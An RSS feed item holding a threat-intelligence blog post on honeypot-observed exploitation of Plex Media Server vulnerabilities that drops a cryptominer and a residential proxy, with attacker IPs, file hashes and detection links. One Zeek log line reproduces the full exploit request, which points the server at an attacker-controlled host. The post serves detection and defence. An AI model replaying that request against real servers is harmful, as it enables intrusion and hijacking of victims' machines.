<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
  <title>boredhackerblog.info</title>
  <link>https://aggr.aymericbeaumet.com/sources/boredhackerblog.info/</link>
  <description>Browse aymeric&#39;s, an independent, searchable archive of readable snapshots from followed feeds, preserved in Git with aggr.</description>
  <language>en</language>
  <atom:link href="https://aggr.aymericbeaumet.com/sources/boredhackerblog.info/rss.xml" rel="self" type="application/rss+xml"/>
  <lastBuildDate>Mon, 19 Oct 2026 13:36:43 +0000</lastBuildDate>
  <generator>aggr</generator>
  <item>
    <title>Plex vulnerabilities being exploited in the wild to drop a cryptominer</title>
    <link>https://aggr.aymericbeaumet.com/items/hnrss-org/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a/</link>
    <guid isPermaLink="false">urn:aggr:item:a55536d9f56d08394bc0fafdceacbe5beaff4787</guid>
    <atom:link href="http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html" rel="via" type="text/html"/>
    <pubDate>Mon, 19 Oct 2026 13:36:43 +0000</pubDate>
    <dc:creator>mindracer</dc:creator>
    <description>Intro: (No AI was involved in writing, research, etc...) If you see weird fonts and spacing, blame Blogger. Skip to &quot;In the wild exploitation&quot; if you just care about that part. It&#39;s just a cryptominer. On one hand that&#39;s not a big deal for…</description>
    <content:encoded>&lt;p&gt;&lt;strong&gt;Intro:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(No AI was involved in writing, research, etc...)&lt;/p&gt;
&lt;p&gt;If you see weird fonts and spacing, blame Blogger.&lt;/p&gt;
&lt;p&gt;Skip to &amp;quot;In the wild exploitation&amp;quot; if you just care about that part.&lt;/p&gt;
&lt;p&gt;It&#39;s just a cryptominer. On one hand that&#39;s not a big deal for victims on the other hand, I don&#39;t get interesting c o n t e n t to write about.&lt;/p&gt;
&lt;p&gt;I wouldn&#39;t be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)&lt;/p&gt;
&lt;p&gt;Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319&quot;&gt;https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.&lt;/p&gt;
&lt;p&gt;The details were limited and they said that they&#39;d update the page with more details so I kept watching and didn&#39;t see anything.&lt;/p&gt;
&lt;p&gt;Finally, on Sep 26th, I saw some CVE&#39;s get published here: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html&quot;&gt;https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html&lt;/a&gt;  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time.&lt;/p&gt;
&lt;p&gt;Link was to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://zmain.info/blog/plex2shell&quot;&gt;https://zmain.info/blog/plex2shell&lt;/a&gt; and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool.&lt;/p&gt;
&lt;p&gt;CVE&#39;s:&lt;/p&gt;
&lt;p&gt;CVE-2026-96652&lt;/p&gt;
&lt;p&gt;CVE-2026-96654&lt;/p&gt;
&lt;p&gt;CVE-2026-96655&lt;/p&gt;
&lt;p&gt;CVE-2026-96656&lt;/p&gt;
&lt;p&gt;Here&#39;s their code: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/code-zm/plex2shell/&quot;&gt;https://github.com/code-zm/plex2shell/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I did do testing in the lab. Here are pcaps for detection/signature work: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/BoredHackerBlog/plex2shell_pcap&quot;&gt;https://github.com/BoredHackerBlog/plex2shell_pcap&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plex2Shell In the wild exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;My honeypot mostly saw scanning and generic exploitation attempts.&lt;/p&gt;
&lt;p&gt;As of this morning (Oct 17th), I finally saw in the wild exploitation.&lt;/p&gt;
&lt;p&gt;So by default, I don&#39;t allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn&#39;t get payloads for all the attacks. It&#39;s possible that I have partial data. I haven&#39;t gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code &amp;amp; technique too.&lt;/p&gt;
&lt;p&gt;Here&#39;s what I observed:&lt;/p&gt;
&lt;p&gt;First exploitation attempt came from 45.194.92.222. From zeek logs:&lt;/p&gt;
&lt;p&gt; &amp;quot;uri&amp;quot;: &amp;quot;/player/timeline/subscribe?deviceClass=pc&amp;amp;protocolCapabilities=playback&amp;amp;protocolVersion=1&amp;amp;protocol=&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&amp;amp;lang=en&amp;amp;identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&amp;amp;port=8952&amp;amp;commandID=1&amp;amp;X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471&quot;&gt;http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&amp;amp;lang=en&amp;amp;identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&amp;amp;port=8952&amp;amp;commandID=1&amp;amp;X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471&lt;/a&gt;&amp;quot;,&lt;br /&gt;
  &amp;quot;user_agent&amp;quot;: &amp;quot;Python-urllib/3.10&amp;quot;,&lt;/p&gt;
&lt;p&gt;The following two IP&#39;s were seen doing exploitation as well:&lt;/p&gt;
&lt;p&gt;91.92.40.202&lt;/p&gt;
&lt;p&gt;176.65.139.228&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3tUKB_Vp0xqfjedxvomT5LC4IfbyHTmtcE5mc_57DEPoEXL9DSq7f2T4HMJ26wf-VkPNPyBKzIm5jMIXoWzT4Rcchapu9cpzeT14d1MYmHhhyphenhyphenlfY0ASPbRYzyumorq6xHJ-0WMIarOSDjhpa_W0XI6o8WuIp_T1wzQgKzIGfFdiwMdf5FAiffEzavMK4/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222.&lt;/p&gt;
&lt;p&gt;This time I did see in the logs that there was a file download happening from 217.60.194.116.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzHvuYni_SZCvL4xCpVEpS4vLGyCH8kZMvSmJutKR0pDkCNfeBaGeo7Uo3B2YP1oS-dGAkkm_lhGwXtlhdOxRcgQUfTAsu9Xny5jCo-KYF_WB7-Wm3eaJJrci5f1FXOxpFh_W6lR-Q29GiNFrMlleBHfStYVyEAHfsWo_YUiPfd0Z_XoYubrc8CfJr4H0/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt; The following was contained inside of the docker file:&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyrnJvTCZCWSklsQqy6lG-a3U3IsRSg4un0fiarQEAm5GAWPdyHXMdtnJpc9PgPHcrWmqgS7M6lpVfNEobTuHsUpNl7kt_3Gb8qnEQjwovLYGaNj6PmikS1eEwsKnibGTTvJ_L4jRIGTeQY2SuKLpiaWm4dv4qY-p9aIMU9pPr0y2cA4mKy09EUzrKt0I/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Of course it&#39;s a cryptominer.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_koAlaOUOPTiL2_d3SYCGPSuhdx0KexN7y6WQv7vX7W0lTfu45a89BRW-zPJrHgX6vxB7tWrApWpQNqrCP5ylpajIfV4fr-of8cIG2RsO3jQW4mpdlr2KBD7CgFL0EvCbqWD4rJBKpRdiD7FA2KR7jFsUktoIMTIlogsBmfOqiBIXPpKxtos_7SdEtqs/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;IOCs:&lt;/p&gt;
&lt;p&gt;For detection of the attack, look at my github pcap link and source code from the main author.&lt;/p&gt;
&lt;p&gt;This is just for what was seen on the honeypot.&lt;/p&gt;
&lt;p&gt;IP&#39;s responsible for exploitation as of writing this:&lt;/p&gt;
&lt;p&gt;91.92.40.202&lt;/p&gt;
&lt;p&gt;176.65.139.228&lt;/p&gt;
&lt;p&gt;45.194.92.222&lt;/p&gt;
&lt;p&gt;176.65.139.228&lt;/p&gt;
&lt;p&gt;Malicious file download source:&lt;/p&gt;
&lt;p&gt;217.60.194.116 (docker &amp;amp; x)&lt;/p&gt;
&lt;p&gt;File hashes:&lt;/p&gt;
&lt;p&gt;5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker&lt;/p&gt;
&lt;p&gt;68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)&lt;/p&gt;
&lt;p&gt;b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)&lt;/p&gt;
&lt;p&gt;EDIT: Oct 17th, 2nd update:&lt;/p&gt;
&lt;p&gt;Seeing more activity and I dropped artifacts on Github.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPWFMCzuUo6f-qOeGZAz3EwcB25iG_a4hO3zpyinVQSAdYJW3tmmx17kVEJbJAM3Ry39GvXQzxWwfWZlzSVbz4qZLmiBDKxfpcVNeopWenQPBWXhFj_o46t-VDDjXhuW7MBW-0LplFRCQHtPvBfMrE2EOpg2BzlydLTfOBhyCPcsHSeMA7H4tS_vLcCJk/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPGtnrppevQB91V6n_YOliey5SbDWB8aGVGjqN7NLvWGPvSnUCStMbBADzBQGE4sX6MN0ZP7VFbjaEiGN-_PHuXPxmTnYhwCqirNEYAHmD3LhE69lNiRBuwFICzyP3ieftctzcuq3XAYbgLEoFdc4qswxZuHCGESx3SyVeU_6kq6Hu7q-TJP7O-45uv6I/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Saw &amp;quot;myawesomeproxy&amp;quot; running as well (I don&#39;t have time to analyze it but its on github now)&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4zwJlrUbmapQap814Qnnokq9mGdPXiAWtmTK853LTk5XID8Qxzmt7Z65Llt94_u4lmEmowuHOLVVISS4H9ieVrcfGZSBo8jgGk0vfe7wmm1wfPyTJODb1g3KSeQgj2k9NQY0SCHAgbvoc68BP_xaYBj_URmSsJaAMdtGn52wmL2CVV_AHdd1CxzMOiO0/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Hashes:&lt;/p&gt;
&lt;p&gt;e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9  myawesomeproxy&lt;/p&gt;
&lt;p&gt;2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db  xmrig&lt;/p&gt;
&lt;p&gt;Here&#39;s what it prints when running:&lt;/p&gt;
&lt;p&gt;&amp;quot;Running this software on any of your devices makes you agree to the potential external use of your internet traffic&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQFXi-ZKhOqWJkzLERHMwdLaFvZXqmG9AXBJd0lxrksHTiTkJfAaC2PZnTyXxL3x28npThutsotxqVqdCdBa9w9muuJS4VhuFHTEOzBP1PBMHiZJ03wAukid8bbde4qEzYU1_WAPjH0EcW2yDvExfcR3a7Qht8hxxpSF4GeqwmsZhGK3r7zdzjBJhz7fE/s1600/image.png&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;My sandbox reports for myawesomeproxy:&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f&quot;&gt;https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tria.ge/261017-3ytcaady7p&quot;&gt;https://tria.ge/261017-3ytcaady7p&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tria.ge/261018-ab8jgady9p&quot;&gt;https://tria.ge/261018-ab8jgady9p&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I see some traffic related to proxystream.st and found this: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.bitsight.com/blog/who-invited-aisuru-lan-party&quot;&gt;https://www.bitsight.com/blog/who-invited-aisuru-lan-party&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;similar sample found through googling: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.joesandbox.com/analysis/1934662/0/html&quot;&gt;https://www.joesandbox.com/analysis/1934662/0/html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection&quot;&gt;https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;EDIT: Oct 18th, 2nd update&lt;/p&gt;
&lt;p&gt;After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/&quot;&gt;https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The person who discovered the vuln did publish detections here: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/code-zm/plex2shell/tree/main/detection&quot;&gt;https://github.com/code-zm/plex2shell/tree/main/detection&lt;/a&gt;&lt;/p&gt;
</content:encoded>
    <category>news</category>
  </item>
</channel>
</rss>
